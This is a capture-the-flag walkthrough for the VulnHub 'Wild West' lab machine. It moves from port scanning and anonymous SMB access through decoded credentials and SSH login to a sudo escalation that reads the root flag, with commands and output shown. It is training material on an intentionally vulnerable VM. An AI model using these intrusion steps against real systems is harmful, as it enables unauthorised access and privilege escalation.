

VulnHub

Wild West

<https://www.vulnhub.com/entry/westwild-11,338/>

Walkthrough

1. NMAP Scan:

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PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_   1024 6f:ee:95:91:9c:62:b2:14:cd:63:0a:3e:f8:10:9e:da (DSA)
|_   2048 10:45:94:fe:a7:2f:02:8a:9b:21:1a:31:c5:03:30:48 (RSA)
|_   256 97:94:17:86:18:e2:8e:7a:73:8e:41:20:76:ba:51:73 (ECDSA)
|_   256 23:81:c7:76:bb:37:78:ee:3b:73:e2:55:ad:81:32:72 (ED25519)
80/tcp    open  http         Apache httpd 2.4.7 ((Ubuntu))
|_ http-server-header: Apache/2.4.7 (Ubuntu)
|_ http-title: Site doesn't have a title (text/html).
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: WESTWILD; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ clock-skew: mean: -1h00m01s, deviation: 1h43m55s, median: -1s
|_ nbstat: NetBIOS name: WESTWILD, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_ smb-os-discovery:
|_   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|_   Computer name: westwild
|_   NetBIOS computer name: WESTWILD\x00
|_   Domain name: \x00
|_   FQDN: westwild
|_   System time: 2020-07-30T20:16:33+03:00
|_ smb-security-mode:
|_   account_used: guest
|_   authentication_level: user
|_   challenge_response: supported
|_   message_signing: disabled (dangerous, but default)
|_ smb2-security-mode:
|_   2.02:
|_     Message signing enabled but not required
|_ smb2-time:
|_   date: 2020-07-30T17:16:33
|_   start_date: N/A
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We have a few ports running:

1. Port 22 – running SSH
2. Port 80 – running HTTP
3. 139 & 445 – running SMB

What can we do? I will fire up enum4linux to check for shares and local usernames.

The enum4linux scan found us an SMB share called “wave” and two local usernames: wavex & aveng

Let us see if anonymous logins are accepted...

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kali@kali:~$ smbclient //10.0.2.36/wave
Enter WORKGROUP\kali's password:
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Tue Jul 30 01:18:56 2019
..               D           0   Thu Jul 30 13:40:25 2020
FLAG1.txt        N          93   Mon Jul 29 22:31:05 2019
message_from_aveng.txt N       115   Tue Jul 30 01:21:48 2019

1781464 blocks of size 1024. 286152 blocks available
smb: \> get FLAG1.txt
getting file \FLAG1.txt of size 93 as FLAG1.txt (90.8 KiloBytes/sec) (average 90.8 KiloBytes/sec)
smb: \> get message_from_aveng.txt
getting file \message_from_aveng.txt of size 115 as message_from_aveng.txt (56.1 KiloBytes/sec) (
average 67.7 KiloBytes/sec)
smb: \> █
```

... I guess they do.

FLAG1.txt:



This is a bigger than usual flag we see, let us run some cryptanalysis on it using GCHQ's git cryptanalysis 'wizzard':



We were right, I decrypted it from Base64 and the above result came out.

We've gotten the actual flag md5 hash and also some credentials for the 'wave' user!

Let's try to SSH over...

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kali@kali:~$ ssh wavex@10.0.2.36
wavex@10.0.2.36's password:
Welcome to Ubuntu 14.04.6 LTS (GNU/Linux 4.4.0-142-generic i686)

 * Documentation:  https://help.ubuntu.com/

System information as of Thu Jul 30 20:19:41 +03 2020

System load:  0.0                       Processes:            107
Usage of /:   77.9% of 1.70GB           Users logged in:     0
Memory usage: 9%                       IP address for eth0: 10.0.2.36
Swap usage:   0%

Graph this data and manage this system at:
https://landscape.canonical.com/

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Thu Jul 30 20:19:41 2020 from 10.0.2.15
wavex@WestWild:~$

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Navigating around, we discover an interesting .txt file:

Message_from_aveng.txt:

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Dear Wave ,
Am Sorry but i was lost my password ,
and i believe that you can reset it for me .
Thank You
Aveng

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So, we have logged in through SSH on the host as user Wave and now we know that Wave can change the password of Aveng... Hmmmmmmmmmm..... Trying sudo -l will output that wavex cannot use sudo on this box.

Search for writable directories as we can't run sudo as this user:

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wavex@WestWild:~/wave$ find / -writable -type d 2>/dev/null
/sys/fs/cgroup/systemd/user/1001.user/2.session
/usr/share/av/westsidesecret
/home/wavex
/home/wavex/.cache
/home/wavex/wave
/var/lib/php5
/var/spool/samba
/var/crash
/var/tmp
/proc/2325/task/2325/fd
/proc/2325/fd
/proc/2325/map_files
/run/user/1001
/run/shm
/run/lock
/tmp

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There is an interesting directory name... westsidesecret:

Navigating to it gives us:

```
wavex@WestWild:~/wave$ cd /usr/share/av/westsidesecret/
wavex@WestWild:/usr/share/av/westsidesecret$ ls -la
total 12
drwxrwxrwx 2 root root 4096 Jul 30 2019 .
drwxr-xr-x 3 root root 4096 Jul 30 2019 ..
-rwxrwxrwx 1 wavex wavex 101 Jul 30 2019 ififoregt.sh
wavex@WestWild:/usr/share/av/westsidesecret$ cat ififoregt.sh
#!/bin/bash
figlet "if i foregt so this my way"
echo "user:aveng"
echo "pass:en+80"

wavex@WestWild:/usr/share/av/westsidesecret$
```

Now we have the credentials for the aveng user;

Let's log on as him!

```
wavex@WestWild:/usr/share/av/westsidesecret$ su aveng
Password:
aveng@WestWild:/usr/share/av/westsidesecret$ sudo -l
[sudo] password for aveng:
Matching Defaults entries for aveng on WestWild:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aveng may run the following commands on WestWild:
    (ALL : ALL) ALL
aveng@WestWild:/usr/share/av/westsidesecret$
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We can run all sudo commands on this user! \$\$\$

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aveng@WestWild:/usr/share/av/westsidesecret$ sudo ls -la /root
total 36
drwx----- 3 root root 4096 Aug  2 2019 .
drwxr-xr-x 21 root root 4096 Jul 30 2019 ..
-rw-r--r-- 1 root root 3106 Feb 20 2014 .bashrc
drwx----- 2 root root 4096 Jul 31 2019 .cache
-rw-r--r-- 1 root root 122 Jul 31 2019 FLAG2.txt
-rw-r--r-- 1 root root 140 Feb 20 2014 .profile
-rw-r--r-- 1 root root 75 Jul 31 2019 .selected_editor
-rw----- 1 root root 4970 Jul 31 2019 .viminfo
aveng@WestWild:/usr/share/av/westsidesecret$ sudo cat /root/FLAG2.txt
Flag2{ }
Great! take a screenshot and Share it with me in twitter @HashimAlshareff

aveng@WestWild:/usr/share/av/westsidesecret$
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